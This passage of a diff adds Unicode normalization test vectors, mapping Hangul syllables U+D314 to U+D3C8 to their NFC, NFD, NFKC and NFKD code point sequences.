+{ source: [0xD314], NFC: [0xD314], NFD: [0x1111, 0x1161, 0x11AF], NFKC: [0xD314], NFKD: [0x1111, 0x1161, 0x11AF] },
+{ source: [0xD315], NFC: [0xD315], NFD: [0x1111, 0x1161, 0x11B0], NFKC: [0xD315], NFKD: [0x1111, 0x1161, 0x11B0] },
+{ source: [0xD316], NFC: [0xD316], NFD: [0x1111, 0x1161, 0x11B1], NFKC: [0xD316], NFKD: [0x1111, 0x1161, 0x11B1] },
+{ source: [0xD317], NFC: [0xD317], NFD: [0x1111, 0x1161, 0x11B2], NFKC: [0xD317], NFKD: [0x1111, 0x1161, 0x11B2] },
+{ source: [0xD318], NFC: [0xD318], NFD: [0x1111, 0x1161, 0x11B3], NFKC: [0xD318], NFKD: [0x1111, 0x1161, 0x11B3] },
+{ source: [0xD319], NFC: [0xD319], NFD: [0x1111, 0x1161, 0x11B4], NFKC: [0xD319], NFKD: [0x1111, 0x1161, 0x11B4] },
+{ source: [0xD31A], NFC: [0xD31A], NFD: [0x1111, 0x1161, 0x11B5], NFKC: [0xD31A], NFKD: [0x1111, 0x1161, 0x11B5] },
+{ source: [0xD31B], NFC: [0xD31B], NFD: [0x1111, 0x1161, 0x11B6], NFKC: [0xD31B], NFKD: [0x1111, 0x1161, 0x11B6] },
+{ source: [0xD31C], NFC: [0xD31C], NFD: [0x1111, 0x1161, 0x11B7], NFKC: [0xD31C], NFKD: [0x1111, 0x1161, 0x11B7] },
+{ source: [0xD31D], NFC: [0xD31D], NFD: [0x1111, 0x1161, 0x11B8], NFKC: [0xD31D], NFKD: [0x1111, 0x1161, 0x11B8] },
+{ source: [0xD31E], NFC: [0xD31E], NFD: [0x1111, 0x1161, 0x11B9], NFKC: [0xD31E], NFKD: [0x1111, 0x1161, 0x11B9] },
+{ source: [0xD31F], NFC: [0xD31F], NFD: [0x1111, 0x1161, 0x11BA], NFKC: [0xD31F], NFKD: [0x1111, 0x1161, 0x11BA] },
+{ source: [0xD320], NFC: [0xD320], NFD: [0x1111, 0x1161, 0x11BB], NFKC: [0xD320], NFKD: [0x1111, 0x1161, 0x11BB] },
+{ source: [0xD321], NFC: [0xD321], NFD: [0x1111, 0x1161, 0x11BC], NFKC: [0xD321], NFKD: [0x1111, 0x1161, 0x11BC] },
+{ source: [0xD322], NFC: [0xD322], NFD: [0x1111, 0x1161, 0x11BD], NFKC: [0xD322], NFKD: [0x1111, 0x1161, 0x11BD] },
+{ source: [0xD323], NFC: [0xD323], NFD: [0x1111, 0x1161, 0x11BE], NFKC: [0xD323], NFKD: [0x1111, 0x1161, 0x11BE] },
+{ source: [0xD324], NFC: [0xD324], NFD: [0x1111, 0x1161, 0x11BF], NFKC: [0xD324], NFKD: [0x1111, 0x1161, 0x11BF] },
+{ source: [0xD325], NFC: [0xD325], NFD: [0x1111, 0x1161, 0x11C0], NFKC: [0xD325], NFKD: [0x1111, 0x1161, 0x11C0] },
+{ source: [0xD326], NFC: [0xD326], NFD: [0x1111, 0x1161, 0x11C1], NFKC: [0xD326], NFKD: [0x1111, 0x1161, 0x11C1] },
+{ source: [0xD327], NFC: [0xD327], NFD: [0x1111, 0x1161, 0x11C2], NFKC: [0xD327], NFKD: [0x1111, 0x1161, 0x11C2] },
+{ source: [0xD328], NFC: [0xD328], NFD: [0x1111, 0x1162], NFKC: [0xD328], NFKD: [0x1111, 0x1162] },
+{ source: [0xD329], NFC: [0xD329], NFD: [0x1111, 0x1162, 0x11A8], NFKC: [0xD329], NFKD: [0x1111, 0x1162, 0x11A8] },
+{ source: [0xD32A], NFC: [0xD32A], NFD: [0x1111, 0x1162, 0x11A9], NFKC: [0xD32A], NFKD: [0x1111, 0x1162, 0x11A9] },
+{ source: [0xD32B], NFC: [0xD32B], NFD: [0x1111, 0x1162, 0x11AA], NFKC: [0xD32B], NFKD: [0x1111, 0x1162, 0x11AA] },
+{ source: [0xD32C], NFC: [0xD32C], NFD: [0x1111, 0x1162, 0x11AB], NFKC: [0xD32C], NFKD: [0x1111, 0x1162, 0x11AB] },
+{ source: [0xD32D], NFC: [0xD32D], NFD: [0x1111, 0x1162, 0x11AC], NFKC: [0xD32D], NFKD: [0x1111, 0x1162, 0x11AC] },
+{ source: [0xD32E], NFC: [0xD32E], NFD: [0x1111, 0x1162, 0x11AD], NFKC: [0xD32E], NFKD: [0x1111, 0x1162, 0x11AD] },
+{ source: [0xD32F], NFC: [0xD32F], NFD: [0x1111, 0x1162, 0x11AE], NFKC: [0xD32F], NFKD: [0x1111, 0x1162, 0x11AE] },
+{ source: [0xD330], NFC: [0xD330], NFD: [0x1111, 0x1162, 0x11AF], NFKC: [0xD330], NFKD: [0x1111, 0x1162, 0x11AF] },
+{ source: [0xD331], NFC: [0xD331], NFD: [0x1111, 0x1162, 0x11B0], NFKC: [0xD331], NFKD: [0x1111, 0x1162, 0x11B0] },
+{ source: [0xD332], NFC: [0xD332], NFD: [0x1111, 0x1162, 0x11B1], NFKC: [0xD332], NFKD: [0x1111, 0x1162, 0x11B1] },
+{ source: [0xD333], NFC: [0xD333], NFD: [0x1111, 0x1162, 0x11B2], NFKC: [0xD333], NFKD: [0x1111, 0x1162, 0x11B2] },
+{ source: [0xD334], NFC: [0xD334], NFD: [0x1111, 0x1162, 0x11B3], NFKC: [0xD334], NFKD: [0x1111, 0x1162, 0x11B3] },
+{ source: [0xD335], NFC: [0xD335], NFD: [0x1111, 0x1162, 0x11B4], NFKC: [0xD335], NFKD: [0x1111, 0x1162, 0x11B4] },
+{ source: [0xD336], NFC: [0xD336], NFD: [0x1111, 0x1162, 0x11B5], NFKC: [0xD336], NFKD: [0x1111, 0x1162, 0x11B5] },
+{ source: [0xD337], NFC: [0xD337], NFD: [0x1111, 0x1162, 0x11B6], NFKC: [0xD337], NFKD: [0x1111, 0x1162, 0x11B6] },
+{ source: [0xD338], NFC: [0xD338], NFD: [0x1111, 0x1162, 0x11B7], NFKC: [0xD338], NFKD: [0x1111, 0x1162, 0x11B7] },
+{ source: [0xD339], NFC: [0xD339], NFD: [0x1111, 0x1162, 0x11B8], NFKC: [0xD339], NFKD: [0x1111, 0x1162, 0x11B8] },
+{ source: [0xD33A], NFC: [0xD33A], NFD: [0x1111, 0x1162, 0x11B9], NFKC: [0xD33A], NFKD: [0x1111, 0x1162, 0x11B9] },
+{ source: [0xD33B], NFC: [0xD33B], NFD: [0x1111, 0x1162, 0x11BA], NFKC: [0xD33B], NFKD: [0x1111, 0x1162, 0x11BA] },
+{ source: [0xD33C], NFC: [0xD33C], NFD: [0x1111, 0x1162, 0x11BB], NFKC: [0xD33C], NFKD: [0x1111, 0x1162, 0x11BB] },
+{ source: [0xD33D], NFC: [0xD33D], NFD: [0x1111, 0x1162, 0x11BC], NFKC: [0xD33D], NFKD: [0x1111, 0x1162, 0x11BC] },
+{ source: [0xD33E], NFC: [0xD33E], NFD: [0x1111, 0x1162, 0x11BD], NFKC: [0xD33E], NFKD: [0x1111, 0x1162, 0x11BD] },
+{ source: [0xD33F], NFC: [0xD33F], NFD: [0x1111, 0x1162, 0x11BE], NFKC: [0xD33F], NFKD: [0x1111, 0x1162, 0x11BE] },
+{ source: [0xD340], NFC: [0xD340], NFD: [0x1111, 0x1162, 0x11BF], NFKC: [0xD340], NFKD: [0x1111, 0x1162, 0x11BF] },
+{ source: [0xD341], NFC: [0xD341], NFD: [0x1111, 0x1162, 0x11C0], NFKC: [0xD341], NFKD: [0x1111, 0x1162, 0x11C0] },
+{ source: [0xD342], NFC: [0xD342], NFD: [0x1111, 0x1162, 0x11C1], NFKC: [0xD342], NFKD: [0x1111, 0x1162, 0x11C1] },
+{ source: [0xD343], NFC: [0xD343], NFD: [0x1111, 0x1162, 0x11C2], NFKC: [0xD343], NFKD: [0x1111, 0x1162, 0x11C2] },
+{ source: [0xD344], NFC: [0xD344], NFD: [0x1111, 0x1163], NFKC: [0xD344], NFKD: [0x1111, 0x1163] },
+{ source: [0xD345], NFC: [0xD345], NFD: [0x1111, 0x1163, 0x11A8], NFKC: [0xD345], NFKD: [0x1111, 0x1163, 0x11A8] },
+{ source: [0xD346], NFC: [0xD346], NFD: [0x1111, 0x1163, 0x11A9], NFKC: [0xD346], NFKD: [0x1111, 0x1163, 0x11A9] },
+{ source: [0xD347], NFC: [0xD347], NFD: [0x1111, 0x1163, 0x11AA], NFKC: [0xD347], NFKD: [0x1111, 0x1163, 0x11AA] },
+{ source: [0xD348], NFC: [0xD348], NFD: [0x1111, 0x1163, 0x11AB], NFKC: [0xD348], NFKD: [0x1111, 0x1163, 0x11AB] },
+{ source: [0xD349], NFC: [0xD349], NFD: [0x1111, 0x1163, 0x11AC], NFKC: [0xD349], NFKD: [0x1111, 0x1163, 0x11AC] },
+{ source: [0xD34A], NFC: [0xD34A], NFD: [0x1111, 0x1163, 0x11AD], NFKC: [0xD34A], NFKD: [0x1111, 0x1163, 0x11AD] },
+{ source: [0xD34B], NFC: [0xD34B], NFD: [0x1111, 0x1163, 0x11AE], NFKC: [0xD34B], NFKD: [0x1111, 0x1163, 0x11AE] },
+{ source: [0xD34C], NFC: [0xD34C], NFD: [0x1111, 0x1163, 0x11AF], NFKC: [0xD34C], NFKD: [0x1111, 0x1163, 0x11AF] },
+{ source: [0xD34D], NFC: [0xD34D], NFD: [0x1111, 0x1163, 0x11B0], NFKC: [0xD34D], NFKD: [0x1111, 0x1163, 0x11B0] },
+{ source: [0xD34E], NFC: [0xD34E], NFD: [0x1111, 0x1163, 0x11B1], NFKC: [0xD34E], NFKD: [0x1111, 0x1163, 0x11B1] },
+{ source: [0xD34F], NFC: [0xD34F], NFD: [0x1111, 0x1163, 0x11B2], NFKC: [0xD34F], NFKD: [0x1111, 0x1163, 0x11B2] },
+{ source: [0xD350], NFC: [0xD350], NFD: [0x1111, 0x1163, 0x11B3], NFKC: [0xD350], NFKD: [0x1111, 0x1163, 0x11B3] },
+{ source: [0xD351], NFC: [0xD351], NFD: [0x1111, 0x1163, 0x11B4], NFKC: [0xD351], NFKD: [0x1111, 0x1163, 0x11B4] },
+{ source: [0xD352], NFC: [0xD352], NFD: [0x1111, 0x1163, 0x11B5], NFKC: [0xD352], NFKD: [0x1111, 0x1163, 0x11B5] },
+{ source: [0xD353], NFC: [0xD353], NFD: [0x1111, 0x1163, 0x11B6], NFKC: [0xD353], NFKD: [0x1111, 0x1163, 0x11B6] },
+{ source: [0xD354], NFC: [0xD354], NFD: [0x1111, 0x1163, 0x11B7], NFKC: [0xD354], NFKD: [0x1111, 0x1163, 0x11B7] },
+{ source: [0xD355], NFC: [0xD355], NFD: [0x1111, 0x1163, 0x11B8], NFKC: [0xD355], NFKD: [0x1111, 0x1163, 0x11B8] },
+{ source: [0xD356], NFC: [0xD356], NFD: [0x1111, 0x1163, 0x11B9], NFKC: [0xD356], NFKD: [0x1111, 0x1163, 0x11B9] },
+{ source: [0xD357], NFC: [0xD357], NFD: [0x1111, 0x1163, 0x11BA], NFKC: [0xD357], NFKD: [0x1111, 0x1163, 0x11BA] },
+{ source: [0xD358], NFC: [0xD358], NFD: [0x1111, 0x1163, 0x11BB], NFKC: [0xD358], NFKD: [0x1111, 0x1163, 0x11BB] },
+{ source: [0xD359], NFC: [0xD359], NFD: [0x1111, 0x1163, 0x11BC], NFKC: [0xD359], NFKD: [0x1111, 0x1163, 0x11BC] },
+{ source: [0xD35A], NFC: [0xD35A], NFD: [0x1111, 0x1163, 0x11BD], NFKC: [0xD35A], NFKD: [0x1111, 0x1163, 0x11BD] },
+{ source: [0xD35B], NFC: [0xD35B], NFD: [0x1111, 0x1163, 0x11BE], NFKC: [0xD35B], NFKD: [0x1111, 0x1163, 0x11BE] },
+{ source: [0xD35C], NFC: [0xD35C], NFD: [0x1111, 0x1163, 0x11BF], NFKC: [0xD35C], NFKD: [0x1111, 0x1163, 0x11BF] },
+{ source: [0xD35D], NFC: [0xD35D], NFD: [0x1111, 0x1163, 0x11C0], NFKC: [0xD35D], NFKD: [0x1111, 0x1163, 0x11C0] },
+{ source: [0xD35E], NFC: [0xD35E], NFD: [0x1111, 0x1163, 0x11C1], NFKC: [0xD35E], NFKD: [0x1111, 0x1163, 0x11C1] },
+{ source: [0xD35F], NFC: [0xD35F], NFD: [0x1111, 0x1163, 0x11C2], NFKC: [0xD35F], NFKD: [0x1111, 0x1163, 0x11C2] },
+{ source: [0xD360], NFC: [0xD360], NFD: [0x1111, 0x1164], NFKC: [0xD360], NFKD: [0x1111, 0x1164] },
+{ source: [0xD361], NFC: [0xD361], NFD: [0x1111, 0x1164, 0x11A8], NFKC: [0xD361], NFKD: [0x1111, 0x1164, 0x11A8] },
+{ source: [0xD362], NFC: [0xD362], NFD: [0x1111, 0x1164, 0x11A9], NFKC: [0xD362], NFKD: [0x1111, 0x1164, 0x11A9] },
+{ source: [0xD363], NFC: [0xD363], NFD: [0x1111, 0x1164, 0x11AA], NFKC: [0xD363], NFKD: [0x1111, 0x1164, 0x11AA] },
+{ source: [0xD364], NFC: [0xD364], NFD: [0x1111, 0x1164, 0x11AB], NFKC: [0xD364], NFKD: [0x1111, 0x1164, 0x11AB] },
+{ source: [0xD365], NFC: [0xD365], NFD: [0x1111, 0x1164, 0x11AC], NFKC: [0xD365], NFKD: [0x1111, 0x1164, 0x11AC] },
+{ source: [0xD366], NFC: [0xD366], NFD: [0x1111, 0x1164, 0x11AD], NFKC: [0xD366], NFKD: [0x1111, 0x1164, 0x11AD] },
+{ source: [0xD367], NFC: [0xD367], NFD: [0x1111, 0x1164, 0x11AE], NFKC: [0xD367], NFKD: [0x1111, 0x1164, 0x11AE] },
+{ source: [0xD368], NFC: [0xD368], NFD: [0x1111, 0x1164, 0x11AF], NFKC: [0xD368], NFKD: [0x1111, 0x1164, 0x11AF] },
+{ source: [0xD369], NFC: [0xD369], NFD: [0x1111, 0x1164, 0x11B0], NFKC: [0xD369], NFKD: [0x1111, 0x1164, 0x11B0] },
+{ source: [0xD36A], NFC: [0xD36A], NFD: [0x1111, 0x1164, 0x11B1], NFKC: [0xD36A], NFKD: [0x1111, 0x1164, 0x11B1] },
+{ source: [0xD36B], NFC: [0xD36B], NFD: [0x1111, 0x1164, 0x11B2], NFKC: [0xD36B], NFKD: [0x1111, 0x1164, 0x11B2] },
+{ source: [0xD36C], NFC: [0xD36C], NFD: [0x1111, 0x1164, 0x11B3], NFKC: [0xD36C], NFKD: [0x1111, 0x1164, 0x11B3] },
+{ source: [0xD36D], NFC: [0xD36D], NFD: [0x1111, 0x1164, 0x11B4], NFKC: [0xD36D], NFKD: [0x1111, 0x1164, 0x11B4] },
+{ source: [0xD36E], NFC: [0xD36E], NFD: [0x1111, 0x1164, 0x11B5], NFKC: [0xD36E], NFKD: [0x1111, 0x1164, 0x11B5] },
+{ source: [0xD36F], NFC: [0xD36F], NFD: [0x1111, 0x1164, 0x11B6], NFKC: [0xD36F], NFKD: [0x1111, 0x1164, 0x11B6] },
+{ source: [0xD370], NFC: [0xD370], NFD: [0x1111, 0x1164, 0x11B7], NFKC: [0xD370], NFKD: [0x1111, 0x1164, 0x11B7] },
+{ source: [0xD371], NFC: [0xD371], NFD: [0x1111, 0x1164, 0x11B8], NFKC: [0xD371], NFKD: [0x1111, 0x1164, 0x11B8] },
+{ source: [0xD372], NFC: [0xD372], NFD: [0x1111, 0x1164, 0x11B9], NFKC: [0xD372], NFKD: [0x1111, 0x1164, 0x11B9] },
+{ source: [0xD373], NFC: [0xD373], NFD: [0x1111, 0x1164, 0x11BA], NFKC: [0xD373], NFKD: [0x1111, 0x1164, 0x11BA] },
+{ source: [0xD374], NFC: [0xD374], NFD: [0x1111, 0x1164, 0x11BB], NFKC: [0xD374], NFKD: [0x1111, 0x1164, 0x11BB] },
+{ source: [0xD375], NFC: [0xD375], NFD: [0x1111, 0x1164, 0x11BC], NFKC: [0xD375], NFKD: [0x1111, 0x1164, 0x11BC] },
+{ source: [0xD376], NFC: [0xD376], NFD: [0x1111, 0x1164, 0x11BD], NFKC: [0xD376], NFKD: [0x1111, 0x1164, 0x11BD] },
+{ source: [0xD377], NFC: [0xD377], NFD: [0x1111, 0x1164, 0x11BE], NFKC: [0xD377], NFKD: [0x1111, 0x1164, 0x11BE] },
+{ source: [0xD378], NFC: [0xD378], NFD: [0x1111, 0x1164, 0x11BF], NFKC: [0xD378], NFKD: [0x1111, 0x1164, 0x11BF] },
+{ source: [0xD379], NFC: [0xD379], NFD: [0x1111, 0x1164, 0x11C0], NFKC: [0xD379], NFKD: [0x1111, 0x1164, 0x11C0] },
+{ source: [0xD37A], NFC: [0xD37A], NFD: [0x1111, 0x1164, 0x11C1], NFKC: [0xD37A], NFKD: [0x1111, 0x1164, 0x11C1] },
+{ source: [0xD37B], NFC: [0xD37B], NFD: [0x1111, 0x1164, 0x11C2], NFKC: [0xD37B], NFKD: [0x1111, 0x1164, 0x11C2] },
+{ source: [0xD37C], NFC: [0xD37C], NFD: [0x1111, 0x1165], NFKC: [0xD37C], NFKD: [0x1111, 0x1165] },
+{ source: [0xD37D], NFC: [0xD37D], NFD: [0x1111, 0x1165, 0x11A8], NFKC: [0xD37D], NFKD: [0x1111, 0x1165, 0x11A8] },
+{ source: [0xD37E], NFC: [0xD37E], NFD: [0x1111, 0x1165, 0x11A9], NFKC: [0xD37E], NFKD: [0x1111, 0x1165, 0x11A9] },
+{ source: [0xD37F], NFC: [0xD37F], NFD: [0x1111, 0x1165, 0x11AA], NFKC: [0xD37F], NFKD: [0x1111, 0x1165, 0x11AA] },
+{ source: [0xD380], NFC: [0xD380], NFD: [0x1111, 0x1165, 0x11AB], NFKC: [0xD380], NFKD: [0x1111, 0x1165, 0x11AB] },
+{ source: [0xD381], NFC: [0xD381], NFD: [0x1111, 0x1165, 0x11AC], NFKC: [0xD381], NFKD: [0x1111, 0x1165, 0x11AC] },
+{ source: [0xD382], NFC: [0xD382], NFD: [0x1111, 0x1165, 0x11AD], NFKC: [0xD382], NFKD: [0x1111, 0x1165, 0x11AD] },
+{ source: [0xD383], NFC: [0xD383], NFD: [0x1111, 0x1165, 0x11AE], NFKC: [0xD383], NFKD: [0x1111, 0x1165, 0x11AE] },
+{ source: [0xD384], NFC: [0xD384], NFD: [0x1111, 0x1165, 0x11AF], NFKC: [0xD384], NFKD: [0x1111, 0x1165, 0x11AF] },
+{ source: [0xD385], NFC: [0xD385], NFD: [0x1111, 0x1165, 0x11B0], NFKC: [0xD385], NFKD: [0x1111, 0x1165, 0x11B0] },
+{ source: [0xD386], NFC: [0xD386], NFD: [0x1111, 0x1165, 0x11B1], NFKC: [0xD386], NFKD: [0x1111, 0x1165, 0x11B1] },
+{ source: [0xD387], NFC: [0xD387], NFD: [0x1111, 0x1165, 0x11B2], NFKC: [0xD387], NFKD: [0x1111, 0x1165, 0x11B2] },
+{ source: [0xD388], NFC: [0xD388], NFD: [0x1111, 0x1165, 0x11B3], NFKC: [0xD388], NFKD: [0x1111, 0x1165, 0x11B3] },
+{ source: [0xD389], NFC: [0xD389], NFD: [0x1111, 0x1165, 0x11B4], NFKC: [0xD389], NFKD: [0x1111, 0x1165, 0x11B4] },
+{ source: [0xD38A], NFC: [0xD38A], NFD: [0x1111, 0x1165, 0x11B5], NFKC: [0xD38A], NFKD: [0x1111, 0x1165, 0x11B5] },
+{ source: [0xD38B], NFC: [0xD38B], NFD: [0x1111, 0x1165, 0x11B6], NFKC: [0xD38B], NFKD: [0x1111, 0x1165, 0x11B6] },
+{ source: [0xD38C], NFC: [0xD38C], NFD: [0x1111, 0x1165, 0x11B7], NFKC: [0xD38C], NFKD: [0x1111, 0x1165, 0x11B7] },
+{ source: [0xD38D], NFC: [0xD38D], NFD: [0x1111, 0x1165, 0x11B8], NFKC: [0xD38D], NFKD: [0x1111, 0x1165, 0x11B8] },
+{ source: [0xD38E], NFC: [0xD38E], NFD: [0x1111, 0x1165, 0x11B9], NFKC: [0xD38E], NFKD: [0x1111, 0x1165, 0x11B9] },
+{ source: [0xD38F], NFC: [0xD38F], NFD: [0x1111, 0x1165, 0x11BA], NFKC: [0xD38F], NFKD: [0x1111, 0x1165, 0x11BA] },
+{ source: [0xD390], NFC: [0xD390], NFD: [0x1111, 0x1165, 0x11BB], NFKC: [0xD390], NFKD: [0x1111, 0x1165, 0x11BB] },
+{ source: [0xD391], NFC: [0xD391], NFD: [0x1111, 0x1165, 0x11BC], NFKC: [0xD391], NFKD: [0x1111, 0x1165, 0x11BC] },
+{ source: [0xD392], NFC: [0xD392], NFD: [0x1111, 0x1165, 0x11BD], NFKC: [0xD392], NFKD: [0x1111, 0x1165, 0x11BD] },
+{ source: [0xD393], NFC: [0xD393], NFD: [0x1111, 0x1165, 0x11BE], NFKC: [0xD393], NFKD: [0x1111, 0x1165, 0x11BE] },
+{ source: [0xD394], NFC: [0xD394], NFD: [0x1111, 0x1165, 0x11BF], NFKC: [0xD394], NFKD: [0x1111, 0x1165, 0x11BF] },
+{ source: [0xD395], NFC: [0xD395], NFD: [0x1111, 0x1165, 0x11C0], NFKC: [0xD395], NFKD: [0x1111, 0x1165, 0x11C0] },
+{ source: [0xD396], NFC: [0xD396], NFD: [0x1111, 0x1165, 0x11C1], NFKC: [0xD396], NFKD: [0x1111, 0x1165, 0x11C1] },
+{ source: [0xD397], NFC: [0xD397], NFD: [0x1111, 0x1165, 0x11C2], NFKC: [0xD397], NFKD: [0x1111, 0x1165, 0x11C2] },
+{ source: [0xD398], NFC: [0xD398], NFD: [0x1111, 0x1166], NFKC: [0xD398], NFKD: [0x1111, 0x1166] },
+{ source: [0xD399], NFC: [0xD399], NFD: [0x1111, 0x1166, 0x11A8], NFKC: [0xD399], NFKD: [0x1111, 0x1166, 0x11A8] },
+{ source: [0xD39A], NFC: [0xD39A], NFD: [0x1111, 0x1166, 0x11A9], NFKC: [0xD39A], NFKD: [0x1111, 0x1166, 0x11A9] },
+{ source: [0xD39B], NFC: [0xD39B], NFD: [0x1111, 0x1166, 0x11AA], NFKC: [0xD39B], NFKD: [0x1111, 0x1166, 0x11AA] },
+{ source: [0xD39C], NFC: [0xD39C], NFD: [0x1111, 0x1166, 0x11AB], NFKC: [0xD39C], NFKD: [0x1111, 0x1166, 0x11AB] },
+{ source: [0xD39D], NFC: [0xD39D], NFD: [0x1111, 0x1166, 0x11AC], NFKC: [0xD39D], NFKD: [0x1111, 0x1166, 0x11AC] },
+{ source: [0xD39E], NFC: [0xD39E], NFD: [0x1111, 0x1166, 0x11AD], NFKC: [0xD39E], NFKD: [0x1111, 0x1166, 0x11AD] },
+{ source: [0xD39F], NFC: [0xD39F], NFD: [0x1111, 0x1166, 0x11AE], NFKC: [0xD39F], NFKD: [0x1111, 0x1166, 0x11AE] },
+{ source: [0xD3A0], NFC: [0xD3A0], NFD: [0x1111, 0x1166, 0x11AF], NFKC: [0xD3A0], NFKD: [0x1111, 0x1166, 0x11AF] },
+{ source: [0xD3A1], NFC: [0xD3A1], NFD: [0x1111, 0x1166, 0x11B0], NFKC: [0xD3A1], NFKD: [0x1111, 0x1166, 0x11B0] },
+{ source: [0xD3A2], NFC: [0xD3A2], NFD: [0x1111, 0x1166, 0x11B1], NFKC: [0xD3A2], NFKD: [0x1111, 0x1166, 0x11B1] },
+{ source: [0xD3A3], NFC: [0xD3A3], NFD: [0x1111, 0x1166, 0x11B2], NFKC: [0xD3A3], NFKD: [0x1111, 0x1166, 0x11B2] },
+{ source: [0xD3A4], NFC: [0xD3A4], NFD: [0x1111, 0x1166, 0x11B3], NFKC: [0xD3A4], NFKD: [0x1111, 0x1166, 0x11B3] },
+{ source: [0xD3A5], NFC: [0xD3A5], NFD: [0x1111, 0x1166, 0x11B4], NFKC: [0xD3A5], NFKD: [0x1111, 0x1166, 0x11B4] },
+{ source: [0xD3A6], NFC: [0xD3A6], NFD: [0x1111, 0x1166, 0x11B5], NFKC: [0xD3A6], NFKD: [0x1111, 0x1166, 0x11B5] },
+{ source: [0xD3A7], NFC: [0xD3A7], NFD: [0x1111, 0x1166, 0x11B6], NFKC: [0xD3A7], NFKD: [0x1111, 0x1166, 0x11B6] },
+{ source: [0xD3A8], NFC: [0xD3A8], NFD: [0x1111, 0x1166, 0x11B7], NFKC: [0xD3A8], NFKD: [0x1111, 0x1166, 0x11B7] },
+{ source: [0xD3A9], NFC: [0xD3A9], NFD: [0x1111, 0x1166, 0x11B8], NFKC: [0xD3A9], NFKD: [0x1111, 0x1166, 0x11B8] },
+{ source: [0xD3AA], NFC: [0xD3AA], NFD: [0x1111, 0x1166, 0x11B9], NFKC: [0xD3AA], NFKD: [0x1111, 0x1166, 0x11B9] },
+{ source: [0xD3AB], NFC: [0xD3AB], NFD: [0x1111, 0x1166, 0x11BA], NFKC: [0xD3AB], NFKD: [0x1111, 0x1166, 0x11BA] },
+{ source: [0xD3AC], NFC: [0xD3AC], NFD: [0x1111, 0x1166, 0x11BB], NFKC: [0xD3AC], NFKD: [0x1111, 0x1166, 0x11BB] },
+{ source: [0xD3AD], NFC: [0xD3AD], NFD: [0x1111, 0x1166, 0x11BC], NFKC: [0xD3AD], NFKD: [0x1111, 0x1166, 0x11BC] },
+{ source: [0xD3AE], NFC: [0xD3AE], NFD: [0x1111, 0x1166, 0x11BD], NFKC: [0xD3AE], NFKD: [0x1111, 0x1166, 0x11BD] },
+{ source: [0xD3AF], NFC: [0xD3AF], NFD: [0x1111, 0x1166, 0x11BE], NFKC: [0xD3AF], NFKD: [0x1111, 0x1166, 0x11BE] },
+{ source: [0xD3B0], NFC: [0xD3B0], NFD: [0x1111, 0x1166, 0x11BF], NFKC: [0xD3B0], NFKD: [0x1111, 0x1166, 0x11BF] },
+{ source: [0xD3B1], NFC: [0xD3B1], NFD: [0x1111, 0x1166, 0x11C0], NFKC: [0xD3B1], NFKD: [0x1111, 0x1166, 0x11C0] },
+{ source: [0xD3B2], NFC: [0xD3B2], NFD: [0x1111, 0x1166, 0x11C1], NFKC: [0xD3B2], NFKD: [0x1111, 0x1166, 0x11C1] },
+{ source: [0xD3B3], NFC: [0xD3B3], NFD: [0x1111, 0x1166, 0x11C2], NFKC: [0xD3B3], NFKD: [0x1111, 0x1166, 0x11C2] },
+{ source: [0xD3B4], NFC: [0xD3B4], NFD: [0x1111, 0x1167], NFKC: [0xD3B4], NFKD: [0x1111, 0x1167] },
+{ source: [0xD3B5], NFC: [0xD3B5], NFD: [0x1111, 0x1167, 0x11A8], NFKC: [0xD3B5], NFKD: [0x1111, 0x1167, 0x11A8] },
+{ source: [0xD3B6], NFC: [0xD3B6], NFD: [0x1111, 0x1167, 0x11A9], NFKC: [0xD3B6], NFKD: [0x1111, 0x1167, 0x11A9] },
+{ source: [0xD3B7], NFC: [0xD3B7], NFD: [0x1111, 0x1167, 0x11AA], NFKC: [0xD3B7], NFKD: [0x1111, 0x1167, 0x11AA] },
+{ source: [0xD3B8], NFC: [0xD3B8], NFD: [0x1111, 0x1167, 0x11AB], NFKC: [0xD3B8], NFKD: [0x1111, 0x1167, 0x11AB] },
+{ source: [0xD3B9], NFC: [0xD3B9], NFD: [0x1111, 0x1167, 0x11AC], NFKC: [0xD3B9], NFKD: [0x1111, 0x1167, 0x11AC] },
+{ source: [0xD3BA], NFC: [0xD3BA], NFD: [0x1111, 0x1167, 0x11AD], NFKC: [0xD3BA], NFKD: [0x1111, 0x1167, 0x11AD] },
+{ source: [0xD3BB], NFC: [0xD3BB], NFD: [0x1111, 0x1167, 0x11AE], NFKC: [0xD3BB], NFKD: [0x1111, 0x1167, 0x11AE] },
+{ source: [0xD3BC], NFC: [0xD3BC], NFD: [0x1111, 0x1167, 0x11AF], NFKC: [0xD3BC], NFKD: [0x1111, 0x1167, 0x11AF] },
+{ source: [0xD3BD], NFC: [0xD3BD], NFD: [0x1111, 0x1167, 0x11B0], NFKC: [0xD3BD], NFKD: [0x1111, 0x1167, 0x11B0] },
+{ source: [0xD3BE], NFC: [0xD3BE], NFD: [0x1111, 0x1167, 0x11B1], NFKC: [0xD3BE], NFKD: [0x1111, 0x1167, 0x11B1] },
+{ source: [0xD3BF], NFC: [0xD3BF], NFD: [0x1111, 0x1167, 0x11B2], NFKC: [0xD3BF], NFKD: [0x1111, 0x1167, 0x11B2] },
+{ source: [0xD3C0], NFC: [0xD3C0], NFD: [0x1111, 0x1167, 0x11B3], NFKC: [0xD3C0], NFKD: [0x1111, 0x1167, 0x11B3] },
+{ source: [0xD3C1], NFC: [0xD3C1], NFD: [0x1111, 0x1167, 0x11B4], NFKC: [0xD3C1], NFKD: [0x1111, 0x1167, 0x11B4] },
+{ source: [0xD3C2], NFC: [0xD3C2], NFD: [0x1111, 0x1167, 0x11B5], NFKC: [0xD3C2], NFKD: [0x1111, 0x1167, 0x11B5] },
+{ source: [0xD3C3], NFC: [0xD3C3], NFD: [0x1111, 0x1167, 0x11B6], NFKC: [0xD3C3], NFKD: [0x1111, 0x1167, 0x11B6] },
+{ source: [0xD3C4], NFC: [0xD3C4], NFD: [0x1111, 0x1167, 0x11B7], NFKC: [0xD3C4], NFKD: [0x1111, 0x1167, 0x11B7] },
+{ source: [0xD3C5], NFC: [0xD3C5], NFD: [0x1111, 0x1167, 0x11B8], NFKC: [0xD3C5], NFKD: [0x1111, 0x1167, 0x11B8] },
+{ source: [0xD3C6], NFC: [0xD3C6], NFD: [0x1111, 0x1167, 0x11B9], NFKC: [0xD3C6], NFKD: [0x1111, 0x1167, 0x11B9] },
+{ source: [0xD3C7], NFC: [0xD3C7], NFD: [0x1111, 0x1167, 0x11BA], NFKC: [0xD3C7], NFKD: [0x1111, 0x1167, 0x11BA] },
+{ source: [0xD3C8], NFC: [0xD3C8], NFD: [0x1111, 0x1167, 0x11BB], NFKC: [0xD3C8], NFKD: [0x1111, 0x1167, 0x11BB] },
